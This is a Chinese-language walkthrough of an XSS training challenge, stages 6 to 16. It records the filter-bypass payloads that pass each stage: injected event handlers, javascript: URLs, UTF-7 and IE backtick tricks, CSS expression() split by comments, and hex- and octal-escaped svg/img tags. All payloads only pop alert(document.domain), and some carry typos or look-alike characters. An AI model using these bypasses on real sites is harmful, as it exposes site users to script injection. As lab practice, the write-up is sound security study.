XSS challenge(6-15)
目录
Stage #6 1
Stage #7 2
Stage #8 3
Stage #9 5
Stage #10 7
Stage #11 8
Stage #12 9
Stage #13 11
Stage #14 12
Stage #15 13
Stage #16 15
Stage #6
-
探寻
-
构造payload
">
发现对大于小于进行了过滤
3. 重构payload
" οnmοuseοver=alert(document.domain)
- Payload
利用事件来对JS重写
Stage #7
-
探寻
-
构造payload
" οnmοuseοver=alert(document.domain)
-
Payload
对事件可以直接使用,偷懒的直接使用上面的事件
Stage #8 -
探寻
-
构造payload
">
存在过滤,有超链接,我们伪造协议
-
重构payload
javascript:alert(document.domain)
-
Payload
通过超链接的方式跳开
Stage #9
- 探寻
发现了还存在另一个变量,采用抓包
2. 构造payload
构造失败,珠宝后面后又发现另一个变量是编码UTF-7(只有IE7才可以)
3. 重构payload
p1=1%2bACI-οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg-x=%2bACI-&charset=UTF-7
这里对p1变量提前转码的操作,然后让服务器可以直接识别
- Payload
这里用到的IE7下的UTF-7编码,对IE的特殊还是又考虑的,但是现在已经不是用UTF-7编码了
Stage #10
-
探寻
-
构造payload
" οnmοuseοver=alert(document.domain)
对domain进行了过滤,那我们尝试一下怎么去处理这个过滤
3. 重构payload
" οnmοuseοver=alert(document.domdomainain)
- Payload
这里对值进行了匹配过滤,但是过滤的方式比较简单,我们可以通过拼接的方式来重组一个完整的domain
Stage #11
思路:https://blog.csdn.net/taozijun/article/details/81277187
利用HTML转义字符,即HTML实体,对过滤的字符单独处理,跳过过滤让HTML可以成功的渲染出来
Stage #12
-
探寻
-
构造payload
" οnmοuseοver=alert(document.domain)
">
发现过滤了大于小于符号,还有引号
3. 重构payload
`` οnmοuseοver=alert(document.domain)
在IE中,两个反引号会被IE识别为双引号,从而闭合value
4. Payload
考虑的是对IE的反引号识别
Stage #13
- 探寻
这里主要CSS的加入
2. 构造payload
" οnmοuseοver=alert(document.domain)
参数返回 分析出对引号处理了,无法闭合标签
3. 重新构造payload
background:red;background:url(“javascript:alert(document.domian)”);
利用的css的动态样式和IE浏览器的特性
4. Payload
对普通参数提交,查看返回值
发送简单的JS代码,查询变量的变化 =》 存在过滤情况
如果是加入CSS,那么考虑CSS的特点和伪协议的利用点(URL)
background:red;background:url(“javascript:alert(document.domian)”);
Stage #14
-
探寻
-
构造payload
简单构造一个JS查看返回参数
" οnmοuseοver=alert(document.domain)
发现双引号被转义成了浏览器HTML转义字符
尝试了事件,发现过滤规则
s/(url|script|eval|expression)/xxx/ig;
3. 重构payload
xss:expr/**/ession(alert(document.domain));
- Payload
因为是页面涉及的是CSS的,所以继续利用IE的特性,还有注释,利用块注释来分开过滤规则,完成代码执行
xss:expr/**/ession(alert(document.domain));
Stage #15
- 探寻
对JS有直接的过滤
2. 构造payload
" >1
发现源码中隐藏了一个编码,是浏览器的HTML转义字符
3. 重构payload
第一次提交
\x3csvg\x2fοnlοad=alert(document.domain)\x3e
会将 \ 过滤
第二次提交
\x3csvg\x2fοnlοad=alert(document.domain)\x3e
- Payload
整体是浏览器的一个HTML转义字符
/x3e > /x3c < /2f /
Stage #16
摘要思路:https://blog.csdn.net/taozijun/article/details/81277187
- 还是document:weite =》先直接采用15题的代码,发现了过滤了 \x
我们的编码可以换成8进制的编码字符:
\74img src=x οnerrοr=alert(document.domain)\76
直接把15题的编码转义为8进制的编码,直接通过,这里还是利用的是编码的机制过滤